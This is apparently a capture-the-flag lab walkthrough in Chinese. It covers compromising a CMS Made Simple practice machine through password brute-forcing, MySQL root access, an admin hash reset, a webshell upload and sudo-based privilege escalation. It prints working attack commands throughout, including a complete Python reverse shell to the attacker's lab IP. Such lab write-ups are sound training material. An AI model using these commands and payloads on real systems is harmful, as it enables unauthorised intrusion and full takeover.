**寫(xiě)在前面：**記錄一次艱難曲折的打靶經(jīng)歷。

---

1. 主機(jī)發(fā)現(xiàn)

目前只知道目標(biāo)靶機(jī)在56.xx網(wǎng)段，通過(guò)如下的命令，看看這個(gè)網(wǎng)段上在線(xiàn)的主機(jī)。

$ nmap -sP 192.168.56.0/24

確定目標(biāo)靶機(jī)的IP地址是192.168.56.102。

2. 端口掃描

通過(guò)下面的命令，對(duì)目標(biāo)靶機(jī)進(jìn)行全端口掃描。

$ sudo nmap -p- 192.168.56.102

從上面可以看出，目標(biāo)靶機(jī)上除了ssh服務(wù)之外，還有web應(yīng)用，以及mysql服務(wù)。

3. 服務(wù)枚舉

接下來(lái)，通過(guò)下面的命令，直接枚舉上述開(kāi)放端口上的服務(wù)。

$ sudo nmap -p22,80,3306,33060 -A -sV -sT 192.168.56.102

通過(guò)端口上的服務(wù)枚舉，確定了OpenSSH、Apache、MySQL服務(wù)的版本號(hào)，這為后面的進(jìn)一步探查確定了大致的范圍。接下來(lái)我們將依次探查web服務(wù)、mysql服務(wù)，實(shí)在不行在探查openssh服務(wù)。

4. 服務(wù)探查

4.1 WEB服務(wù)探查

4.1.1 瀏覽器訪(fǎng)問(wèn)

首先通過(guò)瀏覽器直接訪(fǎng)問(wèn)靶機(jī)的80端口，看看有什么收獲。

貌似是一個(gè)CMS主頁(yè)，內(nèi)容比較多；從“Manage your Website anywhere and anytime”可以看出，這個(gè)站點(diǎn)可能存在一個(gè)遠(yuǎn)程的web管理console；另外，從主頁(yè)的右下角可以看出，當(dāng)前CMS Made Simple的版本是2.2.13。

等會(huì)兒沒(méi)有思路的時(shí)候再回來(lái)依次點(diǎn)擊可以點(diǎn)擊的內(nèi)容，看看有什么具體的發(fā)現(xiàn)。

4.1.2 目錄枚舉

通過(guò)下面的命令進(jìn)行一下目錄枚舉。

$ dirsearch -u http://192.168.56.102

果然應(yīng)驗(yàn)了我們前面的猜測(cè)，枚舉出的web站點(diǎn)目錄中有管理console的登錄頁(yè)面，上面紅圈中的內(nèi)容使我們關(guān)注的重點(diǎn)，我們首先從管理console入手（因?yàn)檫@里的權(quán)限時(shí)2xx和3xxx，幾乎沒(méi)有限制）。

4.1.3 控制臺(tái)探查

通過(guò)瀏覽器訪(fǎng)問(wèn)一下，確實(shí)打開(kāi)的是管理控制臺(tái)的登錄頁(yè)面。

直接輸入用戶(hù)名admin和密碼testpwd（我也不知道用戶(hù)名和密碼是啥，隨便輸入即可）嘗試登錄一下，看看返回啥內(nèi)容吧。

登錄失敗，預(yù)料之中的事情，我們重點(diǎn)關(guān)注提交的表單參數(shù)，以及請(qǐng)求和響應(yīng)中的cookie等內(nèi)容。

再次嘗試請(qǐng)求（用戶(hù)名：testusr，密碼：testpass），看看哪些是變化的，哪些是不變的。

經(jīng)過(guò)多次嘗試發(fā)現(xiàn)，響應(yīng)消息中的cookie不變，請(qǐng)求消息中的Cookie在不重新打開(kāi)瀏覽器的情況下也不變，這多少出乎我的預(yù)料，暫時(shí)放一邊，等會(huì)兒確實(shí)需要爆破的時(shí)候再研究細(xì)節(jié)。
接下來(lái)嘗試一下忘記密碼的操作，點(diǎn)擊登錄頁(yè)面的忘記密碼連接，進(jìn)入忘記密碼處理頁(yè)面。隨便輸入一個(gè)用戶(hù)名點(diǎn)擊提交，提示用戶(hù)不存在。

這有點(diǎn)意思，說(shuō)明這里可以進(jìn)行管理員用戶(hù)枚舉（因?yàn)镃MS安裝的時(shí)候是需要設(shè)置管理員用戶(hù)的）。
再用admin用戶(hù)進(jìn)行忘記密碼的提交試試看。

返回500錯(cuò)誤，跟隨便輸入用戶(hù)的時(shí)候，反映不一樣啊，這說(shuō)明admin用戶(hù)很有可能是存在的，實(shí)在不行的時(shí)候，可以嘗試爆破這個(gè)用戶(hù)。

4.1.4 其他目錄探查

通過(guò)瀏覽器進(jìn)到assets。

有些內(nèi)容，逐個(gè)點(diǎn)開(kāi)看一下吧。
基本上都是類(lèi)似下面的404，沒(méi)啥具體收獲；包括doc、modules、lib目錄都是一樣的。

然后看一下phpinfo.php，通過(guò)瀏覽器進(jìn)去http://192.168.56.102/phpinfo.php。
內(nèi)容比較多，我們可以從中發(fā)現(xiàn)PHP的版本，以及管理員賬號(hào)信息。

除此之外還可以得到apache的環(huán)境信息、php的環(huán)境信息、mysql的具體版本等等，沒(méi)有太多亮眼的信息，還是看一下phpmyadmin下面都有些啥吧，這里目錄枚舉的時(shí)候都是401狀態(tài)，應(yīng)該有些內(nèi)容。

額，需要用戶(hù)名密碼，估計(jì)有了用戶(hù)名密碼就可以進(jìn)去了。
接下來(lái)看看tmp目錄下都有些啥。

進(jìn)去看了一下cache和templates_c底下，也沒(méi)有實(shí)際內(nèi)容，都是404，還剩最后一個(gè)uploads目錄，進(jìn)去看看，也沒(méi)有實(shí)際內(nèi)容。

4.2 階段小結(jié)

到目前為止，我們已經(jīng)在web服務(wù)里面探查了好久，至少得到了兩個(gè)管理控制臺(tái)，一個(gè)是CMS的管理控制臺(tái)，并且管理員用戶(hù)很可能就是admin，另一個(gè)是MySQL的管理控制臺(tái)phpmyadmin，待會(huì)兒可以嘗試逐個(gè)爆破。

5. 公共EXP搜索

接下來(lái)我們搜索一下對(duì)應(yīng)服務(wù)的公共EXP。

5.1 CMS搜索

結(jié)果不太理想，優(yōu)化一下關(guān)鍵詞試試看。

更加沒(méi)有相關(guān)性，暫時(shí)放棄CMS的公共EXP利用。

5.2 Apache搜索

也沒(méi)有合適的公共EXP。

5.3 PHP搜索

也沒(méi)有合適的EXP。

5.4 MySQL搜索

MySQL的搜索結(jié)果也不太理想，phpmyadmin試試看。

結(jié)果比較多，目前我們還不知道目標(biāo)靶機(jī)的phpmyadmin版本是多少，但是搜索結(jié)果中有些不限版本的，等會(huì)兒可以試試看。

5.5 CGI搜索

記得目標(biāo)靶機(jī)有CGI/1.1的組件，搜索一下看看。

搜索結(jié)果基本沒(méi)有相關(guān)性，暫時(shí)放棄。

6. 密碼爆破

6.1 爆破CMS控制臺(tái)

我們要爆破admin用戶(hù)的密碼，所以我們需要在burp的intruder中先設(shè)置密碼為需要參數(shù)化的項(xiàng)，如下圖。

說(shuō)明：經(jīng)過(guò)手工測(cè)試驗(yàn)證，這里的Cookie不會(huì)變化，所以這里暫時(shí)不做參數(shù)化。
接下來(lái)我們?cè)趐ayloads中設(shè)置密碼字典。

設(shè)置好后，點(diǎn)擊右上角的“start attack”，進(jìn)行蠻力攻擊，如果彈出下圖所示的告警對(duì)話(huà)框，直接OK即可。

然后會(huì)自動(dòng)新打開(kāi)一個(gè)對(duì)話(huà)框，進(jìn)行記錄攻擊的過(guò)程。

說(shuō)明：這里忘記設(shè)置校驗(yàn)過(guò)程了，如果能夠成功爆破，最后看那個(gè)length長(zhǎng)度不一樣的結(jié)果即可。
經(jīng)歷一個(gè)多小時(shí)，沒(méi)有爆破成功，暫時(shí)放棄。

6.2 爆破phpmyadmin

接下來(lái)嘗試爆破一下phpmyadmin吧，先用burp抓包看一下請(qǐng)求與響應(yīng)內(nèi)容。

這是一個(gè)HTTP的get請(qǐng)求，用戶(hù)名和密碼以上圖所示的base64編碼的方式放到請(qǐng)求頭的Authorization字段里面，如果認(rèn)證失敗會(huì)返回401的代碼。
這里重點(diǎn)參照大神的帖子（https://blog.csdn.net/weixin_50464560/article/details/119273112）。


說(shuō)明：本來(lái)第三個(gè)參數(shù)應(yīng)該是通過(guò)load加載密碼表的，可能是密碼表過(guò)大，加載失敗，只能拆分。
最后在Payload Processing下面點(diǎn)擊add添加base64編碼規(guī)則。

啟動(dòng)attack。

等了半天也沒(méi)有爆破成功，只好放棄。

6.3 爆破MySQL

只剩一個(gè)mysql遠(yuǎn)程接入的口子了，嘗試爆破一下。先手工連接一下試試看。
$ mysql -h 192.168.56.102 -uroot -p

嗯，可以正常訪(fǎng)問(wèn)，那就直接爆破一下，還是用kali自帶的hydra，密碼字典用john構(gòu)造一下。

6.3.1 構(gòu)造密碼字典

基礎(chǔ)字典選擇root、mysql、admin，然后在后面綴上0~3個(gè)阿拉伯?dāng)?shù)字。john.conf配置如下。

說(shuō)明：這里更正一下，之前的文章說(shuō)錯(cuò)了，添加了$[0-9] $[0-9] $[0-9]之后，生成的字典中包含了以基礎(chǔ)字典里面單詞為前綴，后面跟0~3個(gè)阿拉伯?dāng)?shù)字的所有組合，比如admin、admin1、admin11、admin111等等。
通過(guò)下面的命令構(gòu)造密碼字典。

$ john --wordlist=origin_word.txt --rules --stdout > pwd.txt

6.3.2 實(shí)施爆破

通過(guò)下面的命令實(shí)施爆破。

$ hydra -l root -P pwd.txt 192.168.56.102 mysql

運(yùn)氣太好了，密碼就是root，早知道這樣不費(fèi)這么多勁去構(gòu)造密碼字典進(jìn)行爆破了，應(yīng)該先用root登錄嘗試一下。

$ mysql -h 192.168.56.102 -uroot -proot

7. 探查MySQL數(shù)據(jù)庫(kù)

既然能夠以root登錄數(shù)據(jù)庫(kù)，接下來(lái)我們先探查一下數(shù)據(jù)庫(kù)中有些啥。

有點(diǎn)意思，里面有CMS的數(shù)據(jù)庫(kù)，進(jìn)入cmsms_db，看看相關(guān)的表，以及表中的內(nèi)容，不再贅述。


我們發(fā)現(xiàn)cms_users表中只有一個(gè)admin用戶(hù)，這印證了我們前面驗(yàn)證的admin用戶(hù)確實(shí)存在，但是從這里看不出admin的密碼，我們嘗試用hash-identifier來(lái)看看。

$ hash-identifier fb67c6d24e756229aab021cea7605fb3

意思是說(shuō)最有可能的密碼是MD5散列后的值，跑了這么遠(yuǎn)都沒(méi)有實(shí)質(zhì)突破，先自己構(gòu)造一個(gè)密碼的MD5，然后替換原來(lái)的試一下再說(shuō)吧。生成MD5。

替換原有的密碼。

MySQL [cmsms_db]> update cms_users set password='cc03e747a6afbbcbf8be7668acfebee5' where username='admin';

說(shuō)明：實(shí)戰(zhàn)過(guò)程中，盡量不用這么做，這可能會(huì)被管理員察覺(jué)。如果真要這么做，也應(yīng)建議用完之后盡快恢復(fù)回原有的密碼。
迫不及待地用修改后的密碼試了一下，還是失敗了，估計(jì)使用了加鹽的機(jī)制。

在加鹽的情況下，想要突破，只能研究CMS登錄時(shí)的加鹽機(jī)制，這得分析CMS的登錄處理的源代碼才可能實(shí)現(xiàn)，不太可行，而且耗時(shí)。

8 分析CMS公共EXP漏洞

前面已經(jīng)搜索過(guò)CMS的公共EXP漏洞，沒(méi)有真正匹配我們版本（2.2.13）的漏洞。

接下來(lái)我們將逐步分析一下不受CMS版本限制的四個(gè)漏洞：第一個(gè)和最后三個(gè)。

8.1 Showtime2

8.2 Download Manager

8.3 Antz toolkit

8.4 簡(jiǎn)單分析

從上面涉及三個(gè)模塊的四個(gè)漏洞利用代碼來(lái)看，貌似都是需要先登錄到CMS才可以，所以目前我們別無(wú)選擇，只有想辦法研究CMS登錄時(shí)的密碼加鹽機(jī)制。

9. 分析CMS控制臺(tái)登錄

9.1 找源碼

Google一下，CMS的源碼有兩個(gè)相對(duì)比較可靠的查閱點(diǎn)，一個(gè)是CMS官方給出的瀏覽地址。
http://viewsvn.cmsmadesimple.org/listing.php?repname=cmsmadesimple&path=%2F&sc=0

另一個(gè)是Git上的https://github.com/cmsmadesimple。
我這里使用前者，打開(kāi)上面的地址，進(jìn)入branches下面，找到合適的代碼點(diǎn)擊Download下載即可，我這里選擇的是最接近2.2.13版本的2.2.17-b，如下圖。

9.2 分析源碼

下載完成解壓以后，直接導(dǎo)入VS Code。

打開(kāi)admin目錄下的login.php（看上去穩(wěn)如老狗，實(shí)際上慌得一逼，這是我第一次看php代碼，各位見(jiàn)笑了）。

快速瀏覽一下，代碼中先實(shí)現(xiàn)了密碼找回的邏輯，然后是處理登錄的邏輯，個(gè)人感覺(jué)下圖所示的部分就是登錄處理邏輯，似懂非懂。

但是真正的登錄處理邏輯就應(yīng)該在標(biāo)紅的代碼上，因?yàn)榍懊媸桥袛嘤脩?hù)名密碼是否存在，后面就直接根據(jù)oneuser來(lái)拋異常了。先百度一下php中的“->”是啥意思吧，讓各位見(jiàn)笑了。

大致是調(diào)用了userops的LoadUserByUsername函數(shù)？暫且這么理解吧，全局搜索一下這個(gè)函數(shù)。

嗯，是在class.useroperations.inc.php中定義的，轉(zhuǎn)到函數(shù)定義的地方仔細(xì)看看。

終于找到了，貌似是用sitemask加鹽的。關(guān)鍵是這個(gè)sitemask又是個(gè)什么鬼呢？全局搜索顯然成了我這個(gè)php白癡的法寶，看看這個(gè)get_site_preference是從哪里弄到這個(gè)sitemask的。

感覺(jué)有點(diǎn)眉目了，可能跟數(shù)據(jù)庫(kù)表cms_userprefs有關(guān)系，不過(guò)這里沒(méi)有sitemask啊，再全局搜一下sitemask看看。

嗯，又是一個(gè)表cms_siteprefs?？磥?lái)sitemask不外乎這兩張表了，進(jìn)數(shù)據(jù)庫(kù)查一把。

感覺(jué)有些對(duì)不上了，這里面并沒(méi)有mask之類(lèi)的字樣，再回去看看代碼。在前面的LoadUserByUsername函數(shù)中，參與MD5計(jì)算的鹽值是一個(gè)名為get_site_preference的函數(shù)的返回值。

順藤摸瓜，看看這個(gè)get_site_preference函數(shù)的定義。

里面簡(jiǎn)單調(diào)用了cms_siteprefs類(lèi)的get方法，繼續(xù)摸瓜。

cms_siteprefs類(lèi)的get方法定義也比較明確，如果找到了第一個(gè)參數(shù)指定的值，則返回之；如果找不到，則返回函數(shù)調(diào)用時(shí)指定的默認(rèn)值（這里是空值’’）。前面查過(guò)cms_siteprefs表，貌似沒(méi)有找到sitemask有關(guān)的東西，再回來(lái)看看。

猛然意識(shí)到（本質(zhì)原因還是自己道行不夠深）sitemask可能不是Field名稱(chēng)，而是sitepref_name下面的值，直接進(jìn)去搜索一下試試看。

MySQL [cmsms_db]> select * from cms_siteprefs where sitepref_name = 'sitemask';

還真是這樣子，既然找到了sitemask，直接將它作為鹽值參與MD5計(jì)算。

MySQL [cmsms_db]> update cms_users set password=md5(CONCAT('a235561351813137','test123')) where username='admin';

加入鹽值修改密碼后，再次嘗試使用test123登錄admin用戶(hù)，成功了。

10. CMS控制臺(tái)利用

10.1 安裝Download Manager

從前面的分析我們已經(jīng)知道，CMSMS上相對(duì)比較靠譜的漏洞集中在三個(gè)模塊上：Showtime2、Antz Toolkit、Download Manager。并且涉及Showtime2的兩個(gè)漏洞需要用到Metasploit或者授權(quán)；Antz模塊在CMSMS的官網(wǎng)上沒(méi)找到，因此直接使用Download Manager，先從官網(wǎng)（http://dev.cmsmadesimple.org/project/files/522）下載EXP漏洞對(duì)應(yīng)1.4.1版本。

直接下載xml版本，然后從CMSMS控制臺(tái)的“Site Admin/Module Manager”導(dǎo)入進(jìn)去。

導(dǎo)入之后，在Module Manager頁(yè)面顯示如下，還不能正常使用。

點(diǎn)擊Action一欄中對(duì)應(yīng)的Install菜單，安裝該模塊，安裝完成后，Download Manager的狀態(tài)如下。

并且在頂部會(huì)收到如下的提示信息。

貌似還得配置下載目錄，并賦予777的權(quán)限，不知道是不是能夠正常實(shí)現(xiàn)，先往下走走看吧。

10.2 利用EXP

既然我們已經(jīng)安裝好了Download Manager，接下來(lái)我們利用前面下載的EXP代碼34298.py。整體看了一下代碼，沒(méi)啥大問(wèn)題，接下來(lái)修改一下host變量，指向我們的目標(biāo)靶機(jī)。

然后運(yùn)行一下腳本。

嗯，報(bào)錯(cuò)了，看一下報(bào)錯(cuò)的代碼。

從代碼來(lái)看，沒(méi)有正常解析socket發(fā)送post請(qǐng)求之后的響應(yīng)消息。在socket的recv函數(shù)下面添加一行打印響應(yīng)消息的代碼，看看響應(yīng)是啥。

再次運(yùn)行。

報(bào)404了，說(shuō)明我們的URL有問(wèn)題，再回去檢查一下代碼。

每個(gè)請(qǐng)求的路徑前面都有一個(gè)前綴/cmsms，但實(shí)際上我們?cè)跒g覽器中訪(fǎng)問(wèn)靶機(jī)各個(gè)頁(yè)面的時(shí)候是沒(méi)有這個(gè)前綴的，如下圖。

直接去掉這個(gè)前綴，修改后的代碼如下。

再次運(yùn)行EXP。

雖然打印的返回消息體有亂碼，導(dǎo)致第51行代碼出錯(cuò)，但是實(shí)際上我們的shell上傳成功了，仔細(xì)查看代碼會(huì)發(fā)現(xiàn)，報(bào)錯(cuò)部分是用于解析處理上傳shell的路徑的。暫時(shí)忽略這個(gè)錯(cuò)誤，直接去這個(gè)“/modules/DownloadManager/lib/simple-upload/”路徑下看看都有些啥。

都是這幾次運(yùn)行腳本時(shí)傳上來(lái)的內(nèi)容，至少上傳成功了，文件名都是“shell_xxxxx.php”，其中xxxxx是隨機(jī)的。其它幾個(gè)不是以shell_xxx命名的文件，逐個(gè)手工打開(kāi)看一下。

發(fā)現(xiàn)example.php文件貌似可以用于上傳文件的入口啊。等會(huì)兒直接用這個(gè)頁(yè)面進(jìn)行上傳我們的反彈shell試試看吧。我前面使用的exp代碼也沒(méi)有太看明白應(yīng)該把反彈shell寫(xiě)在哪里好，自己手動(dòng)上網(wǎng)搜索，構(gòu)建一個(gè)。

10.3 構(gòu)建php的反彈shell

上網(wǎng)搜索，構(gòu)建包含反彈shell的php腳本，內(nèi)容如下所示，其中IP地址和端口是Kali主機(jī)的IP地址和nc監(jiān)聽(tīng)端口。

先在kali主機(jī)上開(kāi)啟對(duì)4444端口的監(jiān)聽(tīng)。

通過(guò)前面的example.php頁(yè)面上傳包含反彈shell的php腳本試試看。通過(guò)頁(yè)面的Browse選擇我們構(gòu)建的revers.php，然后點(diǎn)擊Send File上傳。

點(diǎn)擊Send File之后，頁(yè)面回顯，顯示上傳成功了。

通過(guò)瀏覽器回到上一層的simple-upload目錄看一下，我們的php文件上傳成功，時(shí)間顯示也是正確的。

這時(shí)候發(fā)現(xiàn)我們kali主機(jī)上的nc監(jiān)聽(tīng)并沒(méi)有反映。

11. 突破邊界

手工訪(fǎng)問(wèn)一下我們剛剛上傳的php文件，因?yàn)槲覀兊膒hp文件中沒(méi)有實(shí)際要顯示的內(nèi)容，只是一個(gè)簡(jiǎn)單的反彈shell，所以瀏覽器頁(yè)面會(huì)一直轉(zhuǎn)圈圈。這時(shí)候再次查看我們的nc監(jiān)聽(tīng)，反彈shell成功建立。

這可能是因?yàn)橹挥姓?qǐng)求對(duì)應(yīng)的php文件時(shí)，才會(huì)執(zhí)行對(duì)應(yīng)的代碼，所以當(dāng)我們?yōu)g覽器請(qǐng)求的時(shí)候才會(huì)真正構(gòu)建反彈shell。這只是我個(gè)人的瞎猜。

12. 提權(quán)

這個(gè)靶機(jī)太折騰了，到現(xiàn)在才完成突破邊界的工作，接下來(lái)就要提權(quán)了。

12.1 探查/etc/passwd

從上面的輸出可以看出，當(dāng)前用戶(hù)www-data是沒(méi)有辦法直接從ssh登錄的，可以手工嘗試一下。

根本就不給機(jī)會(huì)，包括root用戶(hù)也是一樣的。

這說(shuō)明通過(guò)爆破root的密碼進(jìn)行提權(quán)是不可能的。

12.2 枚舉操作系統(tǒng)信息

Debian 10版本，64位系統(tǒng)，內(nèi)核版本是4.19.98-1。

12.3 枚舉可執(zhí)行文件

搜索一下root用戶(hù)所有的，其它用戶(hù)可讀可寫(xiě)的可執(zhí)行文件。

www-data@mycmsms:/var/www$ find / -type f -user root -perm -o=w 2>/dev/null

基本沒(méi)有發(fā)現(xiàn)什么有價(jià)值的信息，然后查找一下帶有SUID標(biāo)記的文件。

www-data@mycmsms:/var/www$ find / -perm -u=s -type f 2>/dev/null

有個(gè)binary.sh的腳本，看看有沒(méi)有戲。

腳本內(nèi)容有點(diǎn)簡(jiǎn)單的不像話(huà)啊，直接運(yùn)行一下試試看。

我擦，竟然可以直接運(yùn)行，不過(guò)就算能夠修改這個(gè)腳本，添加了反彈shell，我運(yùn)行的時(shí)候，反彈回來(lái)的應(yīng)該還是www-data用戶(hù)，達(dá)不到提權(quán)的目的。既然到了這里，花上30秒試試看吧，說(shuō)不定撞大運(yùn)呢。

看來(lái)我想多了，這個(gè)文件對(duì)于www-data用戶(hù)可讀、可執(zhí)行，但是不可寫(xiě)。

12.4 枚舉定時(shí)任務(wù)

ww-data@mycmsms:/var/www$ ls -lah /etc/cron*

意義不大，直接看一下crontab的內(nèi)容。

沒(méi)有什么幫助，并且該文件也沒(méi)有寫(xiě)權(quán)限，修改不了。

12.5 利用公共EXP提權(quán)

12.5.1 搜索公共EXP

既然前面提取了系統(tǒng)的指紋，直接搜索一下對(duì)應(yīng)的系統(tǒng)有沒(méi)有可利用的公共EXP。

初步感覺(jué)這四個(gè)都能夠提權(quán)，逐個(gè)試試看。

12.5.2 利用提權(quán)EXP

大概瀏覽了一下四個(gè)代碼文件，相對(duì)來(lái)說(shuō)47163可能更靠譜一些，因?yàn)樵赿ebian10上測(cè)試過(guò)。先從這個(gè)下手，直接編譯。

$ gcc -s 47163.c -o ptrace_traceme_root

沒(méi)報(bào)任何錯(cuò)誤，將編譯后的ptrace_traceme_root上傳到目標(biāo)靶機(jī)。

$ python3 -m http.server 80

直接在目標(biāo)靶機(jī)下載。

$ wget http://192.168.56.107/ptrace_traceme_root

直接運(yùn)行。

$ ./ptrace_traceme_root

失敗了，修改一下權(quán)限，再次執(zhí)行試試看。

可以執(zhí)行了，但是報(bào)錯(cuò)了，看看靶機(jī)有沒(méi)有g(shù)cc，有的話(huà)等會(huì)兒我們直接在靶機(jī)編譯。

嗯，還真有，直接在靶機(jī)下載c代碼。

$ wget http://192.168.56.107/47163.c

編譯一下。

$ gcc -s 47163.c -o ptrace_traceme_root

再次運(yùn)行試試看。

又失敗了，報(bào)了其它錯(cuò)誤。搜索了一下，目標(biāo)靶機(jī)上確實(shí)沒(méi)有對(duì)應(yīng)的文件或者路徑。

有人說(shuō)這個(gè)應(yīng)該是linux桌面freedestop上的東西，如果不是桌面版的linux可能不存在，所以我們只能放棄47163。
轉(zhuǎn)到其它幾個(gè)試試看，采用同樣的方法，不再贅述。



完?duì)僮恿?#xff0c;每個(gè)都有錯(cuò)誤。

12.6 查找憑據(jù)

到目前為止，感覺(jué)能用的招數(shù)都用上了。www-data這個(gè)用戶(hù)，我總是感覺(jué)怪怪的，并且在提權(quán)的一開(kāi)始我們就發(fā)現(xiàn)了這個(gè)用戶(hù)沒(méi)辦法直接從SSH登錄。既然我們通過(guò)四個(gè)內(nèi)核提權(quán)漏洞提權(quán)失敗，又不能爆破這個(gè)www-data用戶(hù)，我們?cè)俅尾榭?etc/passwd，看看還有沒(méi)有別的收獲。

貌似這里面還有個(gè)用戶(hù)，并且是唯一允許ssh登錄的非root賬號(hào)。用這個(gè)賬號(hào)登錄試一下。

也不允許通過(guò)ssh登錄，包括之前的root用戶(hù)，都不可以?？纯茨芊駨膚ww-data切換過(guò)去。

可以切換過(guò)去，但是需要密碼。既然這樣，我們還是回到www-data用戶(hù)所能夠查看的內(nèi)容下，看看能不能找到對(duì)應(yīng)的密碼；找不到的話(huà)，再想其它辦法。

armour用戶(hù)下的文件，沒(méi)有權(quán)限查看。先看看www-data用戶(hù)下自己的文件吧，直接進(jìn)入www-data的HOME目錄下搜索。

這還是之前我們通過(guò)apache的80端口進(jìn)行目錄枚舉的地方，我們逐個(gè)目錄進(jìn)去看看，看是否能夠發(fā)現(xiàn)一些通過(guò)目錄枚舉或者瀏覽器沒(méi)有找到的內(nèi)容。從admin目錄從上到下依次查看。

目錄下文件比較多，除了php腳本文件之外最顯眼的就是開(kāi)始的兩個(gè)臨時(shí)文件.htaccess和.htpasswd，看看這倆文件里面都是些啥。

有點(diǎn)意思，在.htpasswd里面有個(gè)字符串，貌似是編碼過(guò)的，或者是個(gè)摘要之類(lèi)的，先用hash-identifier看看。

額，看來(lái)不是摘要類(lèi)的，再看看是不是base64/32/16編碼的內(nèi)容。

嗯，用base32/16都解不出信息，死馬當(dāng)活馬醫(yī)吧，把base64解出的內(nèi)容再用base64/32/16解一把試試看。

哈，比較幸運(yùn)，竟然直接解出了armour的密碼，直接su到armour試試看。

貌似這個(gè)shell也挺詭異的，輸入密碼之后沒(méi)啥動(dòng)靜啊，隨便敲個(gè)命令試試看。

從上面可以看出，實(shí)際上是有反應(yīng)的，只是不顯示shell提示符。然后直接用這個(gè)密碼su到root用戶(hù)試試看。

嗯，我太天真了，先看看armour用戶(hù)的HOME目錄下有些啥吧。

逐個(gè)看一下。

/tmp下面有個(gè)test.py，看看里面有些啥。

文件被刪除了，再回來(lái)逐個(gè)看HOME下的文件。

看看這里提到的clear_console文件。

沒(méi)啥有價(jià)值的內(nèi)容，繼續(xù)下去，.bashrc中沒(méi)有發(fā)現(xiàn)有價(jià)值的信息；跳過(guò)binary.sh（前面已經(jīng)看過(guò)了），再看看.gnupg。

額，這下面有個(gè)密鑰有關(guān)的目錄，進(jìn)去看看。

空的，繼續(xù)看下面的.profile。

也沒(méi)啥干貨，還剩最后一個(gè).viminfo，進(jìn)去看看。

也沒(méi)啥有用的信息。

12.7 查看sudo權(quán)限

再看看sudo權(quán)限信息吧，再不行就放棄了

額，到了我的知識(shí)盲區(qū)，意思是armour用戶(hù)以root用戶(hù)的方式運(yùn)行/usr/bin/python命令并且不需要密碼嗎？會(huì)不會(huì)是我如果用sudo /usr/bin/python xxxx.py就是以root用戶(hù)運(yùn)行python腳本？試試看。

12.7.1 編寫(xiě)python腳本

發(fā)現(xiàn)沒(méi)法在armour下直接通過(guò)vi編輯腳本。直接通過(guò)echo將下面的代碼寫(xiě)入到腳本。

#!/usr/bin/python
import os, subprocess, sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])

整體的命令如下。

echo "#!/usr/bin/python
import os, subprocess, sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])" > mypython.py

通過(guò)cat查看一下。

基本OK。

12.7.2 再次提權(quán)

在kali主機(jī)上開(kāi)啟監(jiān)聽(tīng)。

然后通過(guò)sudo運(yùn)行一下試試看。

sudo /usr/bin/python mypython.py

直接就反彈成功，從提示符#來(lái)看，應(yīng)該是root權(quán)限了，驗(yàn)證一下。

13. 獲取flag

既然是root了，直接提取flag吧。

這是目前經(jīng)歷的最曲折的一個(gè)靶機(jī)。